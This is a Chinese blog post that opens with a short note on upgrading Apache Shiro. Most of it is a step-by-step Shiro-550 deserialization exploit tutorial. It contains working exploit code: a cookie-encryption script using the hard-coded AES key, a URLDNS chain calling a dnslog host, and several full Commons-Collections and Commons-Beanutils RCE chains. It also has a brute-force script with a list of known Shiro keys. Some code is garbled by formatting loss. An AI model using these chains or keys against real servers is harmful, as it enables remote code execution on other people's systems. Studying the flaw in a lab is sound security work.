shiro低版本的漏洞通过升级shiro版本解决
Posted 无敌的黑星星
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了shiro低版本的漏洞通过升级shiro版本解决相关的知识,希望对你有一定的参考价值。
将低版本升级到高版本1.7.0---->1.9.1
攻击者大量使用了shiro漏洞的攻击,为了找到这些最新的包,花费了一天时间来查找,终于在一位网友的提示下找到了它们的窝:(CSDN中的好多用户都是上传到博客中,但一下载就收费,感觉很不好)
下载地址:(Maven库)
https://mvnrepository.com/artifact/org.apache.shiro/shiro-core
关于应该升级哪些东西,经过测试有以下内容:(以升级到1.7版本为例)
shiro-core-1.7.0.jar
shiro-web-1.7.0.jar
shiro-ehcache-1.7.0.jar
由于版本升级附带了一些其它功能,还需要以下两个jar包:(都可以从上面的库中查找到)
commons-beanutils-1.9.4.jar
encoder-1.2.2.jar
出现的问题:shiro1.3升级1.7遇到重定向登录页面时报400错误
因为项目单点登录的需求,对原项目进行单点登录改造,对shiro 进行升级,由原1.3升级至1.7,原代码未做任何改动,登录重定向报400,但直接访问登录页正常,两者差异在于url增加自带参数jsessionid,导致400,改配置文件即可,代码如下:
<bean id="sessionManager" class="org.apache.shiro.web.session.mgt.DefaultWebSessionManager">
<property name="sessionIdUrlRewritingEnabled" value="false" /><!--这个参数,默认为true,改为false-->
<property name="globalSessionTimeout" value="1800000" />
</bean>
<!-- securityManager安全管理器 -->
<bean id="securityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">
<property name="realm" ref="userAuthorizingRealm" />
<property name="sessionManager" ref="sessionManager" />
</bean>
shiro-550反序列化漏洞分析
0x00 环境搭建
- 首先下载有漏洞的版本
https://codeload.github.com/apache/shiro/zip/refs/tags/shiro-root-1.2.4
- 配置 samples/web的pom文件
- 配置tomcat
配置完成后点击debug调试,出现这个界面
0x01 利用版本
shiro≤1.2.4
0x02 漏洞原理
shiro默认使用了CookieRememberMeManager
,其处理cookie的流程是:
得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化
然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
payload 构造的顺序则就是相对的反着来:
恶意命令-->序列化-->AES加密-->base64编码-->发送cookie
在整个漏洞利用过程中,比较重要的是AES加密的密钥,该秘钥默认是默认硬编码的,所以如果没有修改默认的密钥,就自己可以生成恶意构造的cookie了。
shiro特征:
未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段
0x03 漏洞复现
登陆的时候勾选Remember Me选项,此时返回包会返回一个RememberMe
刷新再抓包,去除掉cookie中的JSESSIONID,因为有了这个之后就通过sessionid识别用户,无法触发rememberme里面的反序列化。然后替换rememberMe为构造好的payload,重发就行了
0x04 漏洞分析
加密分析
入口是在 AbstractRememberMeManager.onSuccessfulLogin
方法
if验证完token之后进入到rememberIdentity函数
这里吧subject和authcInfo传入getIdentityToRemember,跟进一下
这里再跟进后没看懂 反正一系列操作下来返回的就是用户名,所以principals就是用户名了 那么返回到rememberIdentity函数
这里调用了一个convertPrincipalsToBytes 大致意思就是把用户名序列化,跟进看一下
看一下发现这里有一个加密的过程,这里debug出是AES-CBC模式,然后确实读代码也能发现这个是固定的
这里就是serialize了principals(用户名),然后跟进一下rememberSerializedIdentity,发现是base64了一下然后保存了
所以流程就是Serialize+AES+base64存储到cookie里面然后返回
解密分析
我们从getRememberedIdentity
开始分析,文件位置 org/apache/shiro/mgt/DefaultSecurityManager.java
这里return一个getRememberedPrincipals
跟进一下
继续跟进getRememberedSerializedIdentity
简单分析一下就是获取Cookie中的rememberMe的值,然后判断是否是deleteMe,不是则判断是否是符合base64的编码长度,然后再对其进行base64解码,将解码结果返回。
所以我们返回 getRememberedPrincipals
然后跟进到下一步的convertBytesToPrincipals
这里进行了解密和反序列化的操作,看一下deserialize
继续跟进
果然 这里进行了相应对应的readObject(),所以解密的流程也就有了:获取cookie判断是不是deleteMe,然后base解码,对结果进行aes解密后再反序列化
URLDNS链
加密脚本,实现读取ser.bin,进行aes→base64
import uuid
import base64
from Crypto.Cipher import AES
def get_file_data(filename):
with open(filename,\'rb\') as f:
return f.read()
def encode_rememberme():
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(get_file_data("serz.bin"))
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == \'__main__\':
payload = encode_rememberme()
print("rememberMe=0".format(payload.decode()))
urldns链子生成
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class urldns
public static void main(String[] args) throws Exception
HashMap h=new HashMap();
URL url=new URL("http://urldns33.kgtism.dnslog.cn");
Class cls=Class.forName("java.net.URL");
setFieldValue(url,"hashCode",1);//为了防止在serialize的时候就产生了url请求
h.put(url,1);
setFieldValue(url,"hashCode",-1);
// ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("seri.bin"));
// oos.writeObject(h);
serialize(h);
// ByteArrayOutputStream b = new ByteArrayOutputStream();
// ObjectOutputStream oos = new ObjectOutputStream(b);
// oos.writeObject(h);
// byte[] Bytes = b.toByteArray();
// Base64.Encoder encoder = Base64.getEncoder();
// String base64 = encoder.encodeToString(Bytes);
// System.out.println(base64);
public static void serialize(Object obj) throws IOException
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serz.bin"));
oos.writeObject(obj);
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
先生成urldns链子 然后运行py脚本得到
这里我们用的是dnslog生成一个url,然后抓包,记得去掉sessionid
最后得到结果,成功执行
cc6+TemplatesImpl
这里用一个插件可以分析maven的依赖,我们知道maven在编译和运行的时候只会把complie打进包里面,而test是不会打进来的,所以理论上来说用cc的打shiro是大不了的,只能打cb
这里我们本地测试的话先加上一个cc的依赖
有了依赖 理论上来说我们就可以用cc链子来打,那么我们直接用cc6试一下
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc6poc
public static void main(String[] args) throws Exception
Transformer[] fakeTransformers = new Transformer[] new
ConstantTransformer(1);
Transformer[] transformers = new Transformer[]
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] String.class, Class[].class , new Object[] "getRuntime", new Class[0] ),
new InvokerTransformer("invoke", new Class[] Object.class, Object[].class , new Object[] null, new Object[0] ),
new InvokerTransformer("exec", new Class[] String.class, new String[] "calc.exe" ),
new ConstantTransformer(1),
;
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
// 不再使⽤原CommonsCollections6中的HashSet,直接使⽤HashMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
// outerMap.remove("keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
setFieldValue(transformerChain,"iTransformers",transformers);
// ==================
// ⽣成序列化字符串
serialize(expMap);
// unserialize("ser.bin");
public static void serialize(Object obj) throws IOException
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serz.bin"));
oos.writeObject(obj);
//反序列化数据
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
打完之后发现并没有弹出计算器,也就是并没有成功执行命令,我们本地看一下服务器报错
许多的报错大致说的就是没法加载transformer数组里面的所有东西
这里再查看报错信息倒数第一行,也就是这个类:org.apache.shiro.io.ClassResolvingObjectInputStream。可以看到,这是一个ObjectInputStream的子类,重写了resolveClass()方法:
resolveClass
是反序列化中用来查找类的方法,简单来说,读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的 java.lang.Class
对象。
对比一下它的父类,也就是正常的 ObjectInputStream 类中的 resolveClass()
方法:
区别就是前者用的是 org.apache.shiro.util.ClassUtils#forName
(实际上内部用到了 org.apache.catalina.loader.ParallelWebappClassLoader#loadClass
),而后者用的是Java原生的 Class.forName
我们可以在捕获异常的位置下个断点,判断一下是哪个类触发了异常
这里可能cc6构造的不太一样?最后我调试出来的结果不一样
这里仅给出最后的结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。
这就解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组。
- 这里留一个坑点,回头补上。
承接刚才的结论吧,我们无法使用Transformer数组,但是并不是无法继续搞了,我们回顾一下cc链调用图:
理论上来说只要最后走Runtime.exec()的话,都需要用到transformer数组的 因为我们需要一个数组放进chaintransformer里面构成循环调用,还需要一个constanttransformer进行初始化我们的第一个参,这里我们发现cc2和cc4是不需要用到transformer数组的 ,但是依赖的都是commons collections4的包,当前环境是没法利用的。
所以我们可以尝试修改cc6,大致思路是cc6里面有个TideMapEntry可以传入一个key,key就可以作为触发transform方法时候的传参,此时不需要constanttransformer 自然也可以避开chainedtransformer,命令执行我们利用TemplateSimple就行
看一下TiedMapEntry:
当这个map是LazyMap的时候,get就是触发transform的关键,此时的key就作为了一个参数
之前我们对于LazyMap#get参数不关心,因为通常Transformer数组的首个对象是ConstantTransformer,我们通过ConstantTransformer来初始化恶意对象。但是此时我们无法使用Transformer数组了,也就不能再用ConstantTransformer了。此时我们却惊奇的发现,这个 LazyMap#get
的参数key,会被传进transform()
,实际上它可以扮演 ConstantTransformer的角色——一个简单的对象传递者。我们LazyMap.get(key)
直接调用InvokerTransfomer.transform(key)
,然后像CC2那样调用TempalteImpl.newTransformer()
来完成后续调用。
利用链如图所示
首先还是创建TemplatesIml对象:(命令执行部分)
byte[] code = Files.readAllBytes(Paths.get("E:\\\\java\\\\cc1\\\\target\\\\classes\\\\exec.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] code);
setFieldValue(obj, "_name", "calc");
然后创建一个用来newTransformer()方法的InvokerTransformer
InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[], new Object[]);
然后再cc6的前半段拿过来
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry tme = new TiedMapEntry(outerMap,obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove(obj);
setFieldValue(outerMap,"factory",newTransformer);
最终EXP:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class shiro_cc
public static void main(String[] args) throws Exception
byte[] code = Files.readAllBytes(Paths.get("E:\\\\java\\\\cc1\\\\target\\\\classes\\\\exec.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] code);
setFieldValue(obj, "_name", "calc");
InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[], new Object[]);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry tme = new TiedMapEntry(outerMap,obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove(obj);
setFieldValue(outerMap,"factory",newTransformer);
serialize(expMap);
unserialize("szzz.bin");
public static void serialize(Object obj) throws IOException
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("szzz.bin"));
oos.writeObject(obj);
//反序列化数据
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
最后成功命令执行了
cc6+instantiateTransformer
这里的话还有个链子就是cc6+instantiateTransformer后续部分
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class shiro_cc2
public static void main(String[] args) throws Exception
byte[] code = Files.readAllBytes(Paths.get("E:\\\\java\\\\cc1\\\\target\\\\classes\\\\exec.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] code);
setFieldValue(obj, "_name", "calc");
// InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[], new Object[]);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]Templates.class, new Object[]obj);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry tme = new TiedMapEntry(outerMap, TrAXFilter.class);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove(TrAXFilter.class);
setFieldValue(outerMap,"factory",instantiateTransformer);
serialize(expMap);
unserialize("szzz.bin");
public static void serialize(Object obj) throws IOException
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("szzz.bin"));
oos.writeObject(obj);
//反序列化数据
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
也是可以成功命令执行:
Commons-Beanutils1链
如上介绍的两种方式都是依赖于Commmons Collections,但是原生的shiro是没有cc的,所以我们就只能用shiro原生的类进行代码执行,也就用到了之前我们分析依赖的时候用到的一个Commons Beanutils,这里用到了Javabean
举个例子:
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.InvocationTargetException;
public class Bean
private String name = "cc";
public String getName()
return name;
public void setName(String name)
this.name = name;
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException
System.out.println(PropertyUtils.getProperty(new Bean(),"name"));
System.out.println("cc");
demo包含一个私有属性name,和读取和设置这个属性的两个方法,又称为getter和setter。其中,getter的方法名以get开头,setter的方法名以set开头,全名符合骆驼式命名法(Camel-Case)。
在commons-beanutils中提供了静态方法PropertyUtils.getProperty
,通过调用这个静态方法,可以直接调用任意JavaBean
中的getter
方法。
我们可以通过这个方法对bean里面的get和set方法进行调用
此时,commons-beanutils会自动找到name属性的getter方法,也就是getName ,然后调用,获得返回值。
所以我们就要想办法利用PropertyUtils.getProperty()方法构造我们的利用链,回顾一下cc联众没有用到CommonsCollection包的部分
如上我们可以知道只有红框部分没用到,也就是说我们命令执行的方法只能选择TemplatesImpl实现类加载任意代码执行,所以我们需要找哪里可以调用TemplatesImpl.newTransformer()方法,通过find usages我们找到了TemplatesImpl.getOutputProperties()
这个方法里面调用了newTransformer(),而 getOutputProperties
这个名字,是以 get
开头,正符合getter的定义。所以, PropertyUtils.getProperty( obj, property )
这段代码,当obj是一个 TemplatesImpl
对象,而 property
的值为 outputProperties
时,将会自动调用getter,也就是 TemplatesImpl.getOutputProperties()
方法,触发代码执行。
所以这里找哪里可以调用PropertyUtils.getProperty()
,这里的话找到是commons-beanutils包中 org.apache.commons.beanutils.BeanComparator
的compare()
方法:
传入两个对象,如果this.property为空,直接比较这两个对象;如果不为空,贼getProperty来分取两个对象的this.property属性, 然后比较属性的值
cc链里2和4都用到了compare(),所以我们只要把CC4中本来传进去优先队列PriorityQueue中的transformingComparator对象换成这里的BeanComparator对象,那么这条链就能够完整地接上了
写EXP:
- 创建TemplateImpl:
byte[] code = Files.readAllBytes(Paths.get("E:\\\\java\\\\cc1\\\\target\\\\classes\\\\exec.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] code);
setFieldValue(obj, "_name", "calc");
- 实例化BeanComparator,当BeanComparator构造函数为空时,默认的Property就是空
final BeanComparator comparator = new BeanComparator();
- 然后用这个comparator实例化优先队列
PriorityQueue
PriorityQueue priorityQueue = new PriorityQueue<>(comparator);
priorityQueue.add(1);
priorityQueue.add(2);
我们添加了两个无害的可以比较的对象进队列中。BeanComparator.compare()
中,如果 this.property
为空,则直接比较这两个对象。这里实际上就是对两个 1
进行排序。初始化时使用正经对象,且 property 为空,这一系列操作是为了初始化的时候不要出错。
- 然后,我们再用反射将
property
的值设置成恶意的outputProperties
,将队列里的两个1
替换成恶意的TemplateImpl
对象(也和cc2一样,至少得改第一个,具体细节参考cc2):
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(priorityQueue, "queue", new Object[]obj, obj);
最终EXP:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CB
public static void main(String[] args) throws Exception
byte[] code = Files.readAllBytes(Paths.get("E:\\\\java\\\\cc1\\\\target\\\\classes\\\\exec.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] code);
setFieldValue(obj, "_name", "calc");
final BeanComparator comparator = new BeanComparator();
PriorityQueue priorityQueue = new PriorityQueue<>(comparator);
priorityQueue.add(1);
priorityQueue.add(2);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(priorityQueue, "queue", new Object[]obj, obj);
serialize(priorityQueue);
unserialize("serzsd.bin");
public static void serialize(Object obj) throws IOException
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serzsd.bin"));
oos.writeObject(obj);
//反序列化数据
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
最后成功命令执行
(我的小疑问 这里看组长的视频是打不通的 不知道是什么原因,试了很多payload构造都是能打通)
0x06 漏洞探测
指纹识别
在利用shiro漏洞时需要判断应用是否用到了shiro。在请求包的Cookie中为 rememberMe
字段赋任意值,收到返回包的 Set-Cookie 中存在 rememberMe=deleteMe
字段,说明目标有使用Shiro框架,可以进一步测试。
AES密钥判断
前面说到 Shiro 1.2.4以上版本官方移除了代码中的默认密钥,要求开发者自己设 置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。 但是即使升级到了1.2.4以上的版本,很多开源的项目会自己设定密钥。可以收集密钥的集合,或者对密钥进行爆破。
那么如何判断密钥是否正确呢?文章一种另类的 shiro 检测方式提供了思路,当密钥不正确或类型转换异常时,目标Response包含Set-Cookie:rememberMe=deleteMe
字段,而当密钥正确且没有类型转换异常时,返回包不存在Set-Cookie:rememberMe=deleteMe
字段。
因此我们需要构造payload排除类型转换错误,进而准确判断密钥。
shiro在1.4.2版本之前, AES的模式为CBC, IV是随机生成的,并且IV并没有真正使用起来,所以整个AES加解密过程的key就很重要了,正是因为AES使用Key泄漏导致反序列化的cookie可控,从而引发反序列化漏洞。在1.4.2版本后,shiro已经更换加密模式 AES-CBC为 AES-GCM,脚本编写时需要考虑加密模式变化的情况。
大佬Veraxy写的脚本:
import base64
import uuid
import requests
from Crypto.Cipher import AES
def encrypt_AES_GCM(msg, secretKey):
aesCipher = AES.new(secretKey, AES.MODE_GCM)
ciphertext, authTag = aesCipher.encrypt_and_digest(msg)
return (ciphertext, aesCipher.nonce, authTag)
def encode_rememberme(target):
keys = [\'kPH+bIxk5D2deZiIxcaaaA==\', \'4AvVhmFLUs0KTA3Kprsdag==\',\'66v1O8keKNV3TTcGPK1wzg==\', \'SDKOLKn2J1j/2BHjeZwAoQ==\'] # 此处简单列举几个密钥
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
d
file_body = base64.b64decode(\'rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==\')
for key in keys:
try:
# CBC加密
encryptor = AES.new(base64.b64decode(key), mode, iv)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))
res = requests.get(target, cookies=\'rememberMe\': base64_ciphertext.decode(),timeout=3,verify=False, allow_redirects=False)
if res.headers.get("Set-Cookie") == None:
print("正确KEY :" + key)
return key
else:
if \'rememberMe=deleteMe;\' not in res.headers.get("Set-Cookie"):
print("正确key:" + key)
return key
# GCM加密
encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))
base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])
res = requests.get(target, cookies=\'rememberMe\': base64_ciphertext.decode(), timeout=3, verify=False, allow_redirects=False)
if res.headers.get("Set-Cookie") == None:
print("正确KEY:" + key)
return key
else:
if \'rememberMe=deleteMe;\' not in res.headers.get("Set-Cookie"):
print("正确key:" + key)
return key
print("正确key:" + key)
return key
except Exception as e:
print(e)
简单测试:d
0x07 注意事项
- shiro版本问题
直接ysoserial里面的CB链子是打不通的,原因是ysoserial里面用CB链子依赖的版本是1.9.2
而shiro自带的为1.8.3
服务端会显示报错:
org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962
如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的 serialVersionUID
值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的 serialVersionUID
不同,则反序列化就会异常退出,避免后续的未知隐患。
- 原生依赖问题
BeanComparator的这个构造函数默认调用ComparableComparator.getInstance();,也就是有个默认的Comparator
然而这个东西又是commons.collections
里面的(因为他们的设计某种程度上来说就是重叠了),所以这里用到了它没有的依赖就会产生报错
解决方法就是我们可以指定一个comparator,构造的时候直接传入就行了
至于我们如何选择Comparator,需要满足以下几个条件
- 实现 java.util.Comparator 接口
- 实现 java.io.Serializable 接口
- Java、shiro或commons-beanutils自带,且兼容性强
接口,都找出来然后写个取交集的脚本
- find.py
with open("com.txt") as f:
data=f.readlines()
with open("ser.txt") as f2:
data2=f2.readlines()
print(*[i for i in data if i in data2])
最后发现这个就可以
EXP:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class cb2
public static void main(String[] args) throws Exception
byte[] code = Files.readAllBytes(Paths.get("E:\\\\java\\\\cc1\\\\target\\\\classes\\\\exec.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] code);
setFieldValue(obj, "_name", "calc");
BeanComparator comparator = new BeanComparator("outputProperties",new AttrCompare());
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(obj);
priorityQueue.add(2);
setFieldValue(priorityQueue,"comparator",comparator);
// setFieldValue(comparator, "property", "outputProperties");
// setFieldValue(priorityQueue, "queue", new Object[]obj, obj);
serialize(priorityQueue);
unserialize("serzsd.bin");
public static void serialize(Object obj) throws IOException
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serz.bin"));
oos.writeObject(obj);
//反序列化数据
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
参考资料:
- https://johnfrod.top/%E5%AE%89%E5%85%A8/shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
- P牛的Java安全漫谈
- https://www.bilibili.com/video/av592012084
- https://mp.weixin.qq.com/s?__biz=MzIzOTE1ODczMg==&mid=2247485052&idx=1&sn=b007a722e233b45982b7a57c3788d47d&scene=21#wechat_redirect
以上是关于shiro低版本的漏洞通过升级shiro版本解决的主要内容,如果未能解决你的问题,请参考以下文章